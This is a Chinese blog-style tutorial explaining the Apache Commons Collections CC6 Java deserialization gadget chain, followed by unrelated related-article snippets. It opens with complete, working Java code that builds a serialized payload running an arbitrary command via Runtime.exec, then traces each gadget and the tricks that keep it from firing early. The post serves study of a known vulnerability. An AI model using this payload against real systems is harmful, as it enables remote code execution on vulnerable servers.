java反序列化---cc6链

目录

Transformer[]数组分析

链条代码跟进

ChainedTransformer.transform()

LazyMap.get()

TiedMapEntry.getValue()

TiedMapEntry.hashCode()

HashMap.hash()

HashMap.put()的意外触发

LazyMap.get()中key的包含问题


cc6的payload如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections6 {public byte[] getPayload(String command) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);// 不再使用原CommonsCollections6中的HashSet,直接使用HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}

Transformer[]数组分析

首先不看第一行的faketransformer,直接来看第二个数组

数组内new了5个对象,咱们分别来说

1.

new ConstantTransformer(Runtime.class),

咱们跟进这个对象,可以看到就只是将Runtime.class,也就是Runtime这个类的字节码,赋值给到这个对象的iconstant字段

2.

new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),

 这里就不说了,三个赋值

主要是这里,先不管能不能调用到transform这个方法,我们先来看这个方法到底干了什么,首先getClass()拿到对应的对象字节码,然后通过getMethod()拿到方法,之后通过invoke调用

假如可以调用这个transform方法,把我们的参数传进入会发生什么?

这里的input值不知道那就先不看,这里的意思就是,先拿到这个对象的getMethod方法,然后进行调用,也就是再通过getMethod方法获取到了getRuntime这个方法,这里可能有点混,看不懂的小伙伴仔细想想或者调试

 3.

new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),

方法名与第二个一样,所以咱可以大胆的猜测这里的意思是使用invoke方法调用某个方法 xxx.invoke('null'),这里有一点注意,当invoke调用静态方法时,第一个参数永远为空  

4.

new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),

同上,这里的意思是拿到exec方法,并且传参command(main方法里的command参数为calc.exe)

5.

new ConstantTransformer(1),

方法名与第一个相同,这里的意思我猜测应该是回到初始状态,并没有什么实际作用

链条代码跟进

ChainedTransformer.transform()

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

这里我们先不管这个fakeTransformers,跟进ChainedTransformer方法,就只是将参数赋值给到iTransformer数组

我们应该注意的是它下面的代码,transform这个方法,代码具体意思是将iTransformer这个数组遍历,然后递归调用

先不管我们能不能调用这个transform方法,假如我们能调用,那么iTransformer[0]~[4]是否就代表了我们上面提到的那5点

首先来看iTransformer[0].transform(),返回iContant这个字段值,即为Runtime.class

 

此时object的值为Runtime.class,然后到iTransformer[1].transform(),即InvokerTransformer.transform(),是不是很熟悉?那正是我们之前分析过的,而之前的input值也变成了现在的Runtime.class,所以返回值为Runtime.getRuntime()

此时object的值为Runtime.class.getRuntime()接着iTransformer[2].transform(),返回值为Runtime.class.getRuntime().invoke()

iTransformer[3].transform()的返回值为Runtime.class.getRuntime().invoke().exec(command)

所以咱们的payload能够完美地触发,但问题是要想执行payload,就必须触发ChainedTransformer.transform()方法

整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()

LazyMap.get()

接下来就需要我们的LazyMap上场了

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

首先new了一个HashMap,然后再调用LazyMap.decorate()方法,那就跟进decorate方法

 再跟LazyMap构造方法

可以看到最终是将factory赋值为我们的transformerChain,那就找谁用了factory  

终于在LazyMap.get()方法里找到了,并且刚好有我们需要的transform方法,也就是说,这里的factory.transform就等于ChainedTransformer.transform(),那如果谁能调用LazyMap.get()方法,那就能触发我们的payload

TiedMapEntry.getValue()

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

 跟进构造函数后发现依然是我们熟悉的赋值,map已经为LazyMap了,那就寻找谁调用了get方法

一番寻找后,发现TiedMapEntry.getValue()可以触发  

到这里,我们整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()----->LazyMap.get()----->TiedMapEntry.getValue()

TiedMapEntry.hashCode()

寻找谁能调用TiedMapEntry.getValue(),TiedMapEntry.hashCode方法就可以

再找谁能调用TiedMapEntry.hashCode()

HashMap.hash()

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

 跟进代码,就是将tme作为键,"valuevalue"作为值

此时key为TiedMapEntry,所以就找谁调用了hashcode方法

刚好HashMap.hash()调用了hashcode方法,更巧的是此时hashmap的readobject方法又调用了hash这个方法,那这样一切都清楚了,当java反序列化我们的构造好的序列化字符串时,调用了hashmap的readobject方法,便直接触发了我们的payload

最后整理一下链条

Runtime.getRuntime().exec()<-----InvokerTransformer.transform<-----ConstantTransformer.transform<-----ChainedTransformer.transform()<-----LazyMap.get()<-----TiedMapEntry.getValue()<-----TiedMapEntry.hashCode()<-----HashMap.hash()<-----HashMap.readObject()

cc链所有的链条都清楚了,但真的完了吗?

HashMap.put()的意外触发

也许还有小伙伴记得前面的fakeTransformers,这里的fakeTransformers到底是干嘛的?

我们不妨去掉它试试,将之前传入的fakeTransformers改为我们的payload数组

Transformer transformerChain = new ChainedTransformer(transformers);

可以看到在改为我们的payload数组运行后,计算器直接弹出了,这是为什么?

按理来说并不应该触发,因为我们还没有进行反序列化,也就是还没有调用HashMap的readObject方法,也就不应该执行我们的payload,这是为什么呢?

这是因为HashMap.put()方法也调用了hash这个方法,导致我们的payload提前执行

而fakeTransformers解决了我们这个问题

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

 先传入一个假的数组,让代码不执行任何payload,然后再通过反射修改ChainedTransformer类里面的iTransformers值,改为我们的payload,这样就不会意外触发了

LazyMap.get()中key的包含问题

最后还有一个问题,那就是这里的key为什么必须删掉?

outerMap.remove("keykey");

 来到LazyMap.get()方法,这里有一个if条件,如果此时map里面包含了传进来的这个key,那就会直接返回值,不会调用transform方法了,所以我们要避免这样的情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/27439.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【雷丰阳-谷粒商城 】【分布式基础篇-全栈开发篇】【08】【商品服务】Object划分_批量删除

持续学习&持续更新中… 守破离 【雷丰阳-谷粒商城 】【分布式基础篇-全栈开发篇】【08】【商品服务】Object划分_批量删除 Object划分批量删除/添加参考 Object划分 数据库中对于一张表的数据&#xff0c;由于拥有隐私字段、多余字段、字段过少等原因&#xff0c;不应该直…

浅谈二刷链表的感受以及引发的思考

1.总括 链表这个东西&#xff0c;就是一个非连续的物理结构&#xff0c;也属于这个线性表的一种&#xff0c;但是不像顺序表那样在这个物理结构上面是连续的&#xff0c;因此我们没有办法通过下标对于这个链表进行遍历&#xff0c;而是需要一个next指针进行这个指向的说明&…

中文技术文档的写作规范(搬运)

阮一峰老师的《中文技术文档的写作规范》搬运。 链接指路&#xff1a; https://github.com/ruanyf/document-style-guide/tree/master 内容&#xff1a;对中文技术文档从标题、文本、段落、数值、标点符号、文档体系、参考链接等七大方面进行了简明扼要的介绍。

网络安全练气篇——PHP编程语言基础

目录 PHP基础 一、PHP简介与环境搭建 什么是PHP&#xff1f; PHP环境安装 代码编辑选择 二、基本语法 PHP基本语法操作 PHP变量与输出 啥是常量? PHP注释 PHP单引号双引号声明 三、PHP表单 PHP表单 四、登录界面搭建与讲解 构建登陆页面 登陆页面端 服务器端…

汽车油耗NEDC与WLTP有什么区别?以及MATLAB/Simulink的汽车行驶工况仿真

最近的热点新闻非比亚迪的秦L莫属&#xff0c;其油耗达到2.9L/100km&#xff0c;但其标注为NEDC也引起了讨论&#xff0c; NEDC与WLTP的区别 NEDC的全称为“New European Driving Cycle”&#xff0c;即“新欧洲驾驶循环”。这种油耗测试标准起源于上世纪80年代&#xff0c;主…

计算机类期刊含金量横纵向对比(一)

本文期刊横纵向对比数据均来源于知网、知乎、谷歌学术、博客网、百度百科、发表者论坛所综合提取的数据对比。&#xff08;经验分享&#xff09; 期刊 难度比较 含金量 发表领域&#xff08;侧重点&#xff09; 审稿速度 收录情况 费用 计算机应用 对投稿者学历工作要求…

近期笔记总结

都是最近项目中会用到的一些小方法 写个笔记整理一下 方便之后忘了找不到 1、相同字段的对象 直接赋值 主要是用到编辑的功能里面 拿到的查询字段和需要赋值的字段一模一样时 不用一个一个的去写等于了 assingTab(arrA,arrB){Object.keys(arrA).forEach(key > {arrA[key] a…

液晶拼接屏企业应该采取哪些措施来提升整体竞争力和市场地位呢?

步入智能科技时代以来&#xff0c;商显行业面对着各式各样的挑战&#xff0c;人工智能、AI大模型等整合中&#xff0c;液晶拼接屏企业应该采取哪些措施以提升整体竞争力和市场地位。下面小编个人观点简单说一下&#xff1b;下是一些关键的措施&#xff1a; 首先&#xff0c;加…

Java文件复制方法详解:原理、使用场景、优缺点及代码示例

1. 基本文件流 (FileInputStream 和 FileOutputStream) 原理 基本文件流通过逐字节读取和写入文件来实现文件复制。这种方法简单直接&#xff0c;但效率较低。 使用场景 适用于小文件或对性能要求不高的场景。 优缺点 优点&#xff1a; 实现简单&#xff0c;容易理解。适…

用Vue3和p5.js打造一个交互式数据可视化仪表盘

本文由ScriptEcho平台提供技术支持 项目地址&#xff1a;传送门 基于 Vue.js 集成 p5.js 实现交互式波形图 应用场景介绍 在数据可视化领域&#xff0c;波形图广泛应用于展示动态变化的数据&#xff0c;如声音信号、心跳曲线等。通过动态绘制波形图&#xff0c;用户可以直观…

5.所有权

标题 一、概念二、规则三、示例3.1 变量作用域3.2 所有权的移交&#xff08;深拷贝与浅拷贝&#xff09;3.3 函数与所有权3.4 返回值与作用域3.5 引用的使用 四、切片(&str) 一、概念 所有权是Rust的核心特性。所有程序在运行时都必须管理它们使用计算机内存的方式。Rust的…

InfoComm 2024 直击:千视新品P3和KiloLink技术闪耀亮相

InfoComm 2024 直击&#xff1a;千视新品P3和KiloLink技术闪耀亮相&#xff0c;现场亮点不断 北京时间2024年6月13日&#xff0c;UTC-7时间6月12日&#xff0c;美国视听显示与系统集成展览会InfoComm 2024在美国拉斯维加斯正式开幕。作为全美规模最大、最具影响力的展会&#…

【Test 73 】引用 () 实际的一些用法、常引用问题 详解!

文章目录 1. 常引用的背景2. 字符 a 与 整形 97 是相同的&#xff0c;但是具体是怎么比较的呢 &#xff1f; 1. 常引用的背景 注意&#xff1a; &#x1f427;① 权限可以平移、可以缩小&#xff0c;但是权限 不可以放大。 &#x1f427; 类型转换中间会产生临时变量 2. 字…

[AI资讯·0612] AI测试高考物理题,最高准确率100%,OpenAI与苹果合作,将ChatGPT融入系统中,大模型在物理领域应用潜力显现

AI资讯 国产AI大战高考物理&#xff0c;第1题全对&#xff0c;第2题开始放飞终于放大招了&#xff0c;2024WWDC&#xff0c;苹果开启AI反击战苹果一夜重塑iPhone&#xff01;GPT-4o加持Siri&#xff0c;AI深入所有APPOpenAI确认苹果集成ChatGPT 还任命了两位新高管GPT-4搞不定…

python爬虫入门:批量下载图片

引言: 爬虫也被称为网络蜘蛛(Spider),是一种自动化的软件程序,能够在互联网上漫游,按照一定的规则和算法抓取数据。 爬虫技术广泛应用于搜索引擎、 数据挖掘 、信息提取等领域,是互联网技术的重要组成部分。 摘要: 很多初学者对于一个这样新奇的事务当然愿意去探索,…

【Golang】探索进程资源监控的精妙细节:利用Gopsutil/Process实现高级进程性能和资源信息监控

【Golang】探索进程资源监控的精妙细节&#xff1a;利用Gopsutil/Process实现高级进程性能和资源信息监控 大家好 我是寸铁&#x1f44a; 总结了一篇【Golang】探索进程资源监控的精妙细节&#xff1a;利用Gopsutil/Process实现高级进程性能和资源信息监控的文章✨ 喜欢的小伙伴…

Scrum Day盛大启幕【限时优惠】

关于 Scrum Day 智驭未来&#xff0c;敏捷先行 —— 2024中国Scrum大会启航 在全球数字化转型的浪潮中&#xff0c;敏捷已成为企业脱颖而出的关键。 Scrum中文网携手全球敏捷行业巨擘 —— Scrum.org 联袂呈现年度敏捷盛会 Scrum Day&#xff0c;将于今秋盛大启幕&#xff01…

Ubuntu Linux目录结构

在Linux系统中&#xff0c;最小的数据存储单位为文件。“一切都是文件”是Linux和UNIX一致贯彻的原则。也就是说&#xff0c;在Linux中&#xff0c;所有的数据都是以文件的形式存在的&#xff0c;包括设备。为了便于访问文件&#xff0c;Linux按照一定的层次结构来组织文件系统…

使用宝塔面板 将vue+node+mysql部署至云服务器

数据库部署 1. 导出 数据库 2. 进入宝塔面板 将数据库文件导入至宝塔面板数据库中 验证是否导入成功 点击phpMyAdmin 输入用户名密码 如果没有导入成功&#xff0c;可在此再导入一遍 前端项目部署 1. 将vue项目打包上传至文件 npm run build 打包成dist文件夹 压缩上传 …

解决Apache Doris占用CPU和内存过高

一、导入问题 对于 Doris 来说&#xff0c;一个 INSERT 命令就是一个完整的导入事务。因此不论是导入一条数据&#xff0c;还是多条数据&#xff0c;我们都不建议在生产环境使用这种方式进行数据导入。高频次的 INSERT 操作会导致在存储层产生大量的小文件&#xff0c;会严重影…